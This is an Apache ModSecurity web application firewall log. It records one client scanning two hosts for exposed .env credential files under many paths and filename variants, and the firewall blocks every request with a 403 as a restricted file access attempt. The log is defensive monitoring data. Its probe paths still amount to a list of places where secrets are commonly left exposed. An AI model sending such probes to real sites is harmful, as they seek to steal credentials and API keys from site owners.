[Sat Oct 24 20:24:43.303083 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at1MS67eSgqEqaOPQgT8GQAAAAI"]
[Sat Oct 24 20:24:43.303264 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at1MS67eSgqEqaOPQgT8GQAAAAI"]
[Sat Oct 24 20:24:43.303597 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at1MS67eSgqEqaOPQgT8GQAAAAI"]
[Sat Oct 24 20:24:43.430917 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at1MSzKiZtbKEGWJKoLVdwAAACE"]
[Sat Oct 24 20:24:43.431159 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at1MSzKiZtbKEGWJKoLVdwAAACE"]
[Sat Oct 24 20:24:43.431522 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at1MSzKiZtbKEGWJKoLVdwAAACE"]
[Sat Oct 24 20:24:43.438855 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at1MS67eSgqEqaOPQgT8GgAAAAI"]
[Sat Oct 24 20:24:43.439029 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at1MS67eSgqEqaOPQgT8GgAAAAI"]
[Sat Oct 24 20:24:43.439264 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at1MS67eSgqEqaOPQgT8GgAAAAI"]
[Sat Oct 24 20:24:43.569530 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at1MSzKiZtbKEGWJKoLVeAAAACE"]
[Sat Oct 24 20:24:43.569773 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at1MSzKiZtbKEGWJKoLVeAAAACE"]
[Sat Oct 24 20:24:43.570122 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at1MSzKiZtbKEGWJKoLVeAAAACE"]
[Sat Oct 24 20:24:43.576773 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at1MS67eSgqEqaOPQgT8GwAAAAI"]
[Sat Oct 24 20:24:43.576936 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at1MS67eSgqEqaOPQgT8GwAAAAI"]
[Sat Oct 24 20:24:43.577149 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at1MS67eSgqEqaOPQgT8GwAAAAI"]
[Sat Oct 24 20:24:43.711422 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at1MS67eSgqEqaOPQgT8HAAAAAI"]
[Sat Oct 24 20:24:43.711466 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at1MSzKiZtbKEGWJKoLVeQAAACE"]
[Sat Oct 24 20:24:43.711696 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at1MSzKiZtbKEGWJKoLVeQAAACE"]
[Sat Oct 24 20:24:43.711697 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at1MS67eSgqEqaOPQgT8HAAAAAI"]
[Sat Oct 24 20:24:43.712040 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at1MSzKiZtbKEGWJKoLVeQAAACE"]
[Sat Oct 24 20:24:43.712084 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at1MS67eSgqEqaOPQgT8HAAAAAI"]
[Sat Oct 24 20:24:43.847204 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env2"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at1MS67eSgqEqaOPQgT8HQAAAAI"]
[Sat Oct 24 20:24:43.847487 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at1MS67eSgqEqaOPQgT8HQAAAAI"]
[Sat Oct 24 20:24:43.847823 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at1MS67eSgqEqaOPQgT8HQAAAAI"]
[Sat Oct 24 20:24:43.850511 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /site/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "at1MSzKiZtbKEGWJKoLVegAAACE"]
[Sat Oct 24 20:24:43.850672 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "at1MSzKiZtbKEGWJKoLVegAAACE"]
[Sat Oct 24 20:24:43.850908 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "at1MSzKiZtbKEGWJKoLVegAAACE"]
[Sat Oct 24 20:24:43.984354 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_copy"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at1MS67eSgqEqaOPQgT8HgAAAAI"]
[Sat Oct 24 20:24:43.984608 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at1MS67eSgqEqaOPQgT8HgAAAAI"]
[Sat Oct 24 20:24:43.984991 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at1MS67eSgqEqaOPQgT8HgAAAAI"]
[Sat Oct 24 20:24:43.990762 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at1MSzKiZtbKEGWJKoLVewAAACE"]
[Sat Oct 24 20:24:43.990950 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at1MSzKiZtbKEGWJKoLVewAAACE"]
[Sat Oct 24 20:24:43.991211 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at1MSzKiZtbKEGWJKoLVewAAACE"]
[Sat Oct 24 20:24:44.135133 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.txt"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at1MTK7eSgqEqaOPQgT8HwAAAAI"]
[Sat Oct 24 20:24:44.135402 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at1MTK7eSgqEqaOPQgT8HwAAAAI"]
[Sat Oct 24 20:24:44.135785 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at1MTK7eSgqEqaOPQgT8HwAAAAI"]
[Sat Oct 24 20:24:44.146756 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at1MTDKiZtbKEGWJKoLVfAAAACE"]
[Sat Oct 24 20:24:44.146937 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at1MTDKiZtbKEGWJKoLVfAAAACE"]
[Sat Oct 24 20:24:44.147167 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at1MTDKiZtbKEGWJKoLVfAAAACE"]
